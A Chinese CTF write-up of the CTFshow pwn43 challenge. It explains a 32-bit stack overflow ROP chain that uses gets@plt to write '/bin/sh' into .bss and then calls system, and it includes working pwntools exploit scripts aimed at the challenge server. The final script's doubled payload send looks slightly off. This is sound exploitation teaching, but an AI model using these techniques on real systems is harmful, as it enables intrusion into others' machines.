从CTFshow-pwn入门-pwn43理解栈溢出到底跳转call还是plt

pwn43

之前的栈溢出的题目中都是跳转到 call function 指令再通过 plt 跳转到函数真实地址,但是这道题的第一个函数必须用 plt 地址,那什么时候能用 call function 地址、什么时候必须要用 plt 地址呢?

checkse

ida 反编译

这里是栈溢出漏洞,有 system 函数但是没有/bin/shsh

Shift + F7打开段表,发现.bss段可写

BSS段(Block Started by Symbol)是程序内存布局中的一个重要数据段,主要用于存储未初始化的全局变量和静态变量

这里bss段可写,我们可以利用gets()/bin/sh存进bss

这里 buf2 就可以用来存放/bin/shbuf2 = 0x0804B060

我们来构造 payload,对照栈帧看

plain 复制代码
payload = b'a'*(0x6C+4) + p32(gets) + p32(system) + p32(buf2) + p32(buf2)

栈布局(从低地址到高地址):
+----------------+
|  缓冲区       	 | -> b'a'*(0x6C)      [108字节的填充]
+----------------+
|  旧ebp保存值  	 | -> b'a'*4           [offset中的+4部分]
+----------------+
|  gets_addr     | -> 覆盖的返回地址    [程序从这里开始执行]
+----------------+
|  system_addr   | -> gets的返回地址    [gets执行完返回到这里]
+----------------+
|  buf2_addr     | -> gets的参数1      [写入位置]
+----------------+
|  buf2_addr     | -> system的参数1    [/bin/sh字符串地址]
+----------------+

记录systemgets的地址

gets = 0x080487A1system = 0x08048779

python 复制代码
# -*- coding: utf-8 -*-
from pwn import *
context(arch = 'i386' ,os = 'linux',log_level = 'debug')
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28242)
elf = ELF('./pwn')

system = 0x08048779
gets = 0x080487A1
buf2 = 0x0804B060

payload = b'a'*(0x6C+4) + p32(gets) + p32(system) + p32(buf2) + p32(buf2)

io.sendline(payload)
io.interactive()

但我们发先这里并不能利用成功,gdb 调试找一下问题

我们来看一下call _system的流程

plain 复制代码
; ==================== 调用 system 函数的完整流程 ====================

; 1. 源代码中的调用
call    _system                 ; 源代码中的调用,参数已在栈上准备好
; 此时栈布局:
; ESP -> [返回地址]  (call指令压入)
;        [参数]      (command字符串地址)

; 2. call 指令的执行
; CPU 自动执行:
push    eip + 5                 ; 压入返回地址(下一条指令地址),ESP减少4字节
jmp     _system                 ; 跳转到_system标签

; 3. _system thunk (PLT条目)
_system proc near
command= dword ptr  4           ; 参数在[ESP+4]的位置(因为返回地址占4字节)
    
    jmp     ds:off_804B018      ; 跳转到GOT表中存储的system地址
                                ; 第一次调用:跳转到解析器
                                ; 后续调用:直接跳转到libc的system
_system endp

; 4. 跳转到真正的system函数(libc中)
; 在libc中的真实system函数

第三部分可以看到约定第一个参数的位置在esp + 4

但实际上esp + 4的位置放着 system 函数的地址,导致 get 并没有把/bin/sh读进去

call会把下一个地址作为返回地址压入栈上,这样导致了我们精心构造的 payload 被打乱,导致参数错误

这里的解决办法是用 gets@plt 直接跳转到 gets 函数,而不再用call _gets,这样省去了返回地址压栈过程,确保我们的 payload 有效

找到gets_plt = 0x08048420

python 复制代码
# -*- coding: utf-8 -*-
from pwn import *
context(arch = 'i386' ,os = 'linux',log_level = 'debug')
#context(arch = 'amd64',os = 'linux',log_level = 'debug')
#io = process('./pwn')
io = remote('pwn.challenge.ctf.show',28207)
elf = ELF('./pwn')

system = 0x08048779
gets_plt = 0x08048420
buf2 = 0x0804B060

payload = b'a'*(0x6C+4) + p32(gets_plt) + p32(system) + p32(buf2) + p32(buf2)

io.sendline(payload)
io.sendline(payload)
io.interactive()

拿到 flag

小结

之前我们做的题目都没有在 payload 里跳转两个函数,单个函数跳转到call function时,压入返回地址,参数自然被挤到了esp + 4,成功利用拿到 shell 后也不需要管返回地址是什么了

但是这道题先跳转到 gets,在跳转到 system,需要把 system 控制在栈顶作为 gets 函数的返回地址,就不能在让 call 压入返回地址了,所以这里一定要用gets@plt,至于后面的 system,已经获取了权限就不用管他返回地址是哪里了

总而言之:一次劫持、最后一次劫持可以不用 plt 用 call

PS:养成习惯,用 plt 构造ROP链就好了